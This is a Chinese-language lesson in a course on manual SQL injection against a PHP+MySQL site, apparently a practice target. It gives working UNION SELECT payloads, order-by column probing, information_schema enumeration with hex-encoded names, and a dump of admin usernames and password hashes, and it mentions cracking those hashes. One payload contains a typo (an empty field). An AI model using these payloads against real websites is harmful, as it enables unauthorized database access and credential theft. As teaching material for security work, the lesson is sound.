第08课:PHP

第08课:PHP + MySQL 手工注入

本节课内容旨要:了解 MySQL + PHP 结构的 SQL 手工注入流程,对 SQL 注入有个新的认识。

如何判断页面是否存在 SQL 注入

总结一下我们前面所讲的检测 SQL 注入的方法。

  • 判断数据库类型。
  • 判断注入点:and 1=1 and 1=2。
  • 根据返回页面来判断是否存在注入。

MySQL + PHP 结构 SQL 手工注入实例。

本次讲解 PHP + MySQL 架构的 SQL 注入方法,这里我已经寻找了一个靶机。

enter image description here

首先输入单引号“‘“进行测试是否存在注入。

输入单引号之后页面报错,无返回。

接着输入 and 1=1 进行测试,返回结果如下:

enter image description here

and 1=1 页面返回正常。

那么输入 and 1=2 呢?

enter image description here

and 1=2 页面返回错误。

所以断定存在 SQL 注入漏洞,接下来猜测长度。

PHP + MySQL 长度检测

这里需要用到上节课所讲的联合查询参数了,参数如下:

使用语句: order by 

在测试的时候可以先输入一个较大的数,比如 30。

enter image description here

order by 30 推测列长度是 30,结果返回错误,说明长度不在 30,长度是小于 30 的。

接着就可以把这个数减小一点,比如 20。

enter image description here

order by 20 页面返回正常,因此可以推断长度存在 20-30 之间。

为了准确确定长度,可以一个一个的去试,也可以快速的使用函数进行查询。

enter image description here

这里使用了联合查询,命令如下:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,18,19,20,21,22,23,24,25,26

推测出最终的长度是 26,但是没有爆出准确数字。

那么,将页面报错后再次进行爆长度,就要加上 and 1=2,让它本身页面报错了,才能知晓准确数字。

进行报错后再次注入,发现页面已经返回了两个数字,分别是 7 和 17。

那么我们把 MySQL 的常用函数拿去替换这两个数字字段试试。

enter image description here

把 17 这个字段替换成常用函数“system_user()”之后,页面已经返回了结果。

system_user()的函数是当前数据库系统用户名。

root@localhost 则是它的用户名。

还可以替换成一些函数,用来查信息,比如数据库版本。

enter image description here

数据库版本为:5.0.22-community-nt
当前数据库库名:gaoneng
数据库用户名:root@localhost
系统用户名:root@localhost
链接数据库用户名为:root@localhost

信息收集完成后,接下来就可以获取它的表了。

PHP + MySQL 结构手工 SQL 注入获得表

获取表需要用到多条数据显示的函数“group_concat()”:

and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=0x67616F6E656E67

具体的语句就是上面,列出所有的表名,这里需要注意的是,为什么要把数据库名字转为 Hex16 进制的,因为数据库本身的原因,需要进行编码转换,输入库名是不行的。

enter image description here

如图所示页面已经返回了表名。

com_admin,com_book_pic,com_book_pl,com_books,com_class,com_config,com_down,com_feedback,com_flash,com_link,com_meg,com_news,com_qq,com_sheng,com_user,com_user_address,temp_udf,udf_temp,www_action

表名已经获取到了,接下来就可以根据表名来获取列名。

PHP + MySQL 结构手工 SQL 注入获得列名

比如获取“com_admin.com”的列名,需要用到的语句如下:

 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=0x636F6D5F61646D696E

enter image description here

显示的字段为:userid,username,password,admin,userip,flag

接下来获取 username 和 password 两个字段的值。

PHP + MySQL 结构手工 SQL 注入获得值

获取 username,password 字段的值,命令如下:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,password,userid),18,19,20,21,22,23,24,25,26 from com_admin

enter image description here

可以看到这里已经爆出了 username 和 password 字段的值了。

SQLMap 检测结果

用 SQLMap 进行注入也是一样的效果。

enter image description here

拿到了 MD5 加密的密码,可以选择拿去破解掉,到这里,一次简单的 PHP + MySQL 的注入过程就算完成了。

结语

本节课结束,希望各位读者通过本节课的注入实例能够对 SQL 注入形成更深刻的了解。

上一篇
下一篇
内容互动
写评论
加载更多
评论文章